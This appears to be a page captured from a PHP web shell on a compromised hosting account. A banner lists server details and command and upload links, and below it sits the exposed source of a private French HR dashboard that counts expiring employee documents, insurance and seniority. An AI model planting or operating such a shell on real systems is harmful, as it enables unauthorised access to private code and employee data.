|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// $a = 2 ;
// $b = 6 ;
// $somme = $a + $b ;
// echo " m la somme est ==> $somme <br/>" ;
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$qqq = dbi_query("SELECT * FROM salarie s where `salarie_statut` = '1' and salarie_mutuelle = '1' ORDER BY s.salarie_date_anciennete ASC ") ;
$expiree = 0 ;
while($cl=dbi_fetch_row($qqq))
{
// echo "====>".$cl['salarie_mutuelle_date_justificatif']."<br/>" ;
$salarie_mutuelle_date_justificatif = int2date_autre_format($cl['salarie_mutuelle_date_justificatif']);
$today = date("Y-m-d");
$ajourdh = date("Ymd");
$start_date = new DateTime($today);
$end_date = new DateTime($salarie_mutuelle_date_justificatif);
$interval = $start_date->diff($end_date);
$nbr_jour = $interval->format('%a');
if($ajourdh > $cl['salarie_mutuelle_date_justificatif'] )
{
$expiree ++;
}else
{
if($nbr_jour <30 )
{
$expiree ++;
}
}
}
// echo date('Y-m-d', strtotime('+30 days')) ;
$qq= dbi_query("SELECT * FROM salarie s where `salarie_statut` = '1' ORDER BY s.salarie_date_anciennete ASC ") ;
$anciennte_dans_an = 0 ;
while($cl=dbi_fetch_row($qq))
{
$salarie_date_anciennete = int2date_autre_format($cl['salarie_date_anciennete']);
$today = date("Y-m-d");
$start_date = new DateTime($today);
$end_date = new DateTime($salarie_date_anciennete);
$interval = $start_date->diff($end_date);
$nbrr = $interval->format('%a');
if($nbrr < 365 and $nbrr > 335 ){
$anciennte_dans_an ++ ;
}
}
$q= dbi_query("SELECT * FROM salarie s where `salarie_document_date_validite` != 0 and `salarie_statut` = '1'
and `salarie_nationalite` != 'FRANCE'
and `salarie_nationalite` != 'PORTUGAL'
and `salarie_nationalite` != 'ALLEMAGNE'
and `salarie_nationalite` != 'AUTRICHE'
and `salarie_nationalite` != 'BELGIQUE'
and `salarie_nationalite` != 'BULGARIE'
and `salarie_nationalite` != 'CHYPRE'
and `salarie_nationalite` != 'CROATIE'
and `salarie_nationalite` != 'DANEMARK'
and `salarie_nationalite` != 'ESPAGNE'
and `salarie_nationalite` != 'ESTONIE'
and `salarie_nationalite` != 'FINLANDE'
and `salarie_nationalite` != 'GRECE'
and `salarie_nationalite` != 'HONGRIE'
and `salarie_nationalite` != 'IRLANDE'
and `salarie_nationalite` != 'ITALIE'
and `salarie_nationalite` != 'LETTONIE'
and `salarie_nationalite` != 'LITUANIE'
and `salarie_nationalite` != 'LUXEMBOURG'
and `salarie_nationalite` != 'MALTE'
and `salarie_nationalite` != 'PAYS-BAS'
and `salarie_nationalite` != 'POLOGNE'
and `salarie_nationalite` != 'TCHEQUIE LA'
and `salarie_nationalite` != 'ROUMANIE'
and `salarie_nationalite` != 'SLOVAQUIE'
and `salarie_nationalite` != 'SLOVENIE'
and `salarie_nationalite` != 'SUEDE'
ORDER BY s.salarie_document_date_validite ASC ") ;
$start_date = new DateTime("2015-10-31");
$end_date = new DateTime("2017-12-25");
$interval = $start_date->diff($end_date);
$nbrr = $interval->format('%a');
// echo "==l>".$nbrr."<br/>" ;
$moins_nbr = 0 ;
while($cl=dbi_fetch_row($q))
{
$salarie_document_date_validite = int2date_autre_format($cl['salarie_document_date_validite']);
$today = date("Y-m-d");
$start_date = new DateTime($today);
$end_date = new DateTime($salarie_document_date_validite);
$interval = $start_date->diff($end_date);
$nbrr = $interval->format('%a');
// echo $salarie_document_date_validite."----".$today."----".$nbrr."<br/>" ;
// echo "==jjkkkkkj>".$nbrr."<br/>" ;
$ajourd = date("Ymd");
if( $ajourd < $cl['salarie_document_date_validite'] ) {
if($nbrr <= 30){
$moins_nbr ++ ;
}
}}
// echo "==>".$moins_nbr."<br/>" ;
?><html>
<head>
<?php include('header.php'); ?>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
</li>
<li>
 
</li>
<li>
 
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a href="login.php?dec=1" class="nav-link">
<i class="nav-icon fas fa-power-off"></i>
</a>
</li><!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav>
<!-- BARRE DE NAVIGATION -->
<aside class="main-sidebar sidebar-dark-primary elevation-4">
<!-- Brand Logo -->
<a href="index3.html" class="brand-link">
<img src="dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3"
style="opacity: .8">
<span class="brand-text font-weight-light">MC PRO</span>
</a>
<!-- Sidebar -->
<div class="sidebar">
<!-- Sidebar user panel (optional) -->
<div class="user-panel mt-3 pb-3 mb-3 d-flex">
<div class="image">
<img src="dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
</div>
<div class="info">
<a href="#" class="d-block">Steeven ROBLOT</a>
</div>
</div>
<?php include('menu.php') ?>
<!-- Sidebar Menu -->
</div>
<!-- /.sidebar -->
</aside>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1 class="m-0">Tableau de Bord RH</h1>
</div><!-- /.col -->
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
<li class="breadcrumb-item active">Tableau de Bord RH</li>
</ol>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<div class="container-fluid">
<div class="row">
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-info">
<div class="inner">
<h3>VALIDITE ID</h3>
<p>Documents expirant dans moins de 30 jours : <strong><?php echo $moins_nbr ?> </strong></p>
</div>
<div class="icon">
<i class="ion ion-android-alert"></i>
</div>
<a href="controle_salarie_etat_civil.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
<!-- ./col -->
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-info">
<div class="inner">
<h3>VISITES MEDICALES</h3>
<p>Visites médicales à programmer</p>
</div>
<div class="icon">
<i class="ion ion-medkit"></i>
</div>
<a href="control_salarie_vm.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-info">
<div class="inner">
<h3>ANCIENNETE</h3>
<p>Ancienneté > 12 mois dans les 30 jours <strong><?php echo $anciennte_dans_an ?> </strong> </p>
</div>
<div class="icon">
<i class="ion ion-android-phone-portrait"></i>
</div>
<a href="controle_salarie_anciennete.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
</div>
<div class="row">
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-primary">
<div class="inner">
<h3>DEMANDES DE CP</h3>
<p> </p>
</div>
<div class="icon">
<i class="ion ion-calendar"></i>
</div>
<a href="demande_cp.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-danger">
<div class="inner">
<h3>Mutuelle</h3>
<p>expire dans moins de 30 jr + expirée : <strong><?php echo $expiree ;?> </strong></p>
</div>
<div class="icon">
<i class="ion ion-android-phone-portrait"></i>
</div>
<a href="controle_mutuelle.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-secondary">
<div class="inner">
<h3>PARAMETRAGE</h3>
<p>Enregistrement des numéros de téléphone des clients</p>
</div>
<div class="icon">
<i class="ion ion-android-settings"></i>
</div>
<a href="prest_chanti.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-pink">
<div class="inner">
<h3>DFS</h3>
<p></p>
</div>
<div class="icon">
<i class="ion ion-checkmark"></i>
</div>
<a href="dfs.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-info">
<div class="inner">
<h3> Jours Réstants</h3>
<p></p>
</div>
<div class="icon">
<i class="ion ion-android-alert"></i>
</div>
<a href="jour_restant.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-primary">
<div class="inner">
<h3>Absences injustifiées</h3>
<p> </p>
</div>
<div class="icon">
<i class="ion ion-calendar"></i>
</div>
<a href="controle_abs_inj.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
</div>
</div>
</div>
<!-- /.content-header -->
</div>
<?php include('footerr.php'); ?>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxAjoutMatR.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>